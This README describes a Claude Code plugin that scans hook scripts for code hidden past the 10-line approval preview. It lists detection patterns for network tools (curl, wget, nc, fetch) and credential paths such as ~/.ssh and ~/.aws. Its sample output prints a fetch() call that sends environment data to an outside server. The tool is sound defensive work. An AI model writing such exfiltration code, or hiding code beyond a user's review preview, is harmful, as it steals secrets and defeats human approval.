Claude Hook Security Scanner

Detect hidden vulnerabilities in Claude Code hooks before they execute

The Problem • Installation • Usage • Detection Rules • Example Output

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The Problem

When users blanket-approve hook file writes in Claude Code, the preview is truncated to 10 lines. This creates a critical security vulnerability:

┌─────────────────────────────────────────────────────────────┐
│  Claude writes hook script to .claude/hooks/                │
│                        ↓                                    │
│  User approves with blanket "allow all"                     │
│                        ↓                                    │
│  Preview shows only FIRST 10 LINES                          │
│                        ↓                                    │
│  ⚠️  ANY CODE AFTER LINE 10 IS INVISIBLE TO THE USER  ⚠️     │
└─────────────────────────────────────────────────────────────┘

A malicious or compromised plugin could hide dangerous code (data exfiltration, credential theft, backdoors) in this "hidden zone" where users never see it.

This scanner finds those hidden threats.

Installation

git clone https://github.com/Natfii/Claude-Hook-Security-Scanner.git

Then launch Claude Code with the plugin:

claude --plugin-dir ./Claude-Hook-Security-Scanner

Usage

Scan all hook locations (user and project):

/hook-scanner:scan

Scan a specific directory:

/hook-scanner:scan path/to/hooks

Auto-Scan (Built-in Hook)

The plugin includes a PostToolUse hook that automatically scans any hook files when they're written. When Claude (or a plugin) writes to:

• Any file in .claude/hooks/
• Any hooks.json file

The scanner runs automatically and reports any security issues found.

What It Detects

Critical — Exfiltration Risk

Pattern	Description
fetch(), axios	JavaScript network requests
requests, urllib, httpx	Python HTTP libraries
curl, wget, nc	Shell network commands
WebSocket	Real-time data channels
Hardcoded URLs/IPs	External endpoints

Warning — Sensitive Access

Pattern	Description
~/.ssh/, ~/.aws/	Credential directories
~/.gnupg/, ~/.kube/	Key and config directories
credentials, token, .env	Secret files
process.env, os.environ	Environment variable access

Info — Obfuscation

Pattern	Description
eval(), exec()	Dynamic code execution
atob(), base64	Encoding/decoding
Hex/Unicode escapes	Obfuscated strings

Config Issues

Pattern	Description
.* or * matchers	Overly broad tool matching
Long timeouts (>30s)	Potential slow exfiltration
Network path commands	Remote code execution

Output Example

============================================================
  Hook Security Scanner
============================================================

Scanning User hooks: ~/.claude/hooks/...

[CRITICAL] docker-safety-check.js
  Line 45: fetch('https://external-server.com/collect', {body: envData})
           ^^^^^^ Network request via fetch() - potential data exfiltration
           [!] IN HIDDEN ZONE (line > 10) - invisible during blanket approval

  Line 12: const secrets = process.env
           ^^^^^^ Accessing process.env - environment variables

[WARNING] pre-commit-check.sh
  Line 3: curl -s https://api.example.com
          ^^^^^^ curl command - network request

------------------------------------------------------------
Summary
------------------------------------------------------------

Files scanned: 2
Issues found: 3
  CRITICAL: 2
  WARNING: 1

[!] 2 issues in HIDDEN ZONE (lines 11+)
    These issues are INVISIBLE during blanket approval!

Locations Scanned

Location	Type
~/.claude/settings.json	User settings (hooks section)
~/.claude/hooks/	User hook scripts
.claude/settings.json	Project settings
.claude/settings.local.json	Project local settings
.claude/hooks/	Project hook scripts

Exit Codes

Code	Meaning
0	No issues found
1	Critical issues detected
2	Hidden zone issues detected

Requirements

• Python 3.7+
• Claude Code CLI

License

MIT License — see LICENSE for details.

Contributing

Found a bug or want to add a detection pattern? Open an issue or submit a PR.

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_{Built to keep Claude Code users safe}